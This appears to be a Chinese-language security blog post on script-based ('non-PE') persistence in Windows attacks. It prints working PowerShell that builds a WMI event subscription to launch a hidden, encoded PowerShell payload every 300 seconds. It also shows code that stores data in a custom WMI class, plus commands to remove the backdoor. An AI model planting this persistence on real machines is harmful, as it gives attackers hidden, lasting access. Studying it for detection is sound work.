谈非PE在攻击中的"持久性"实现

本文主要探讨针对Windows平台攻击中,如何以非PE方式完成“持久性”后门的实现。

前言

在Windows平台下,我们习惯性将与PE可执行文件相对立的“脚本”(通常以源代码文本存储)称之为非PE,例如用Js、Vbs、Powershell、Bat等编写的文件,亦或者是安装有运行时宿主进程环境下的C#、Java、Python、PHP等文件。由于这些非PE文件的类型众多,因而其存在的形式也各种各样,攻击载荷的投递方式也千变万化。一次成功的攻击流程应该是信息收集 -> 渗透攻击 -> 后渗透攻击 -> 结束?其中“渗透攻击”经过一系列的攻击、绕过,从而接近”高价值“目标,在”后渗透攻击“阶段则进行价值挖掘,业务信息窃取等操作,同时为了保证攻击成果的最大化,通常需要保证从攻击方到目标点搭建一个稳定的、持续的通路,也即攻击的”持续性“。

正文

使用WMI进行驻留

权限要求:管理员权限
下面代码功能为 间隔300s调起powershell执行一次$EncScript功能

$fname = "XXX Filter"
$cname = "XXX Consumer"
try
{
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$EncScript = ''
$fp = @{
NameSpace = ('root\subscription')
CLASS = ('__EventFilter')
Arguments = @{ Name = $fname
EventNameSpace = ('root\cimv2')
QueryLanguage = ('WQL')
Query = $Query
}
Erroraction = ('SilentlyContinue')
}
$wmif = Set-WMIInstance @fp
$cp = @{
NameSpace = ('root\subscription')
CLASS = ('CommandLineEventConsumer')
Arguments = @{name = $cname ; CommandlIneteMplate = ('powershell.exe -NoP -NonI -W Hidden -E ' + "$EncScript") }
Erroraction = ('SilentlyContinue')
}
$wmic = Set-WMIInstance @cp
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$wmif;Consumer=$wmic}
}
catch
{
}

针对上述后门的清除

Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='$fname'" | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='$cname'" | Remove-WmiObject
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%XXX%'" | Remove-WmiObject

WMI中存储数据

$staticclass = new-object Management.ManagementClass('root\default',$null,$null)
$staticclass.Name = ('Win32_BotTag')
$staticclass.put()
#存储
$staticclass.properties.Add(('nob') , ' ')
$staticclass.put()
#取出
([WmiClass] 'root\default:Win32_BotTag').Properties['nob']

鉴于权限要求为管理员权限,一般情况下均需要bypassUAC,接下来聊聊完整性约束和UAC的相关问题。

Windows完整性机制与UAC

后记

时隔2个月之后,再次来填这个坑已经填不动了,本文的主要内容已经通过文章、演讲的方式与大家分享,具体的链接如下,

Xdef2017议题<非PE攻防之道> http://www.xdef.org.cn/xdef2017/speakers.html
<No Power No Shell --- 非PE攻击中的套路> https://bbs.pediy.com/thread-221871.htm

–本文完–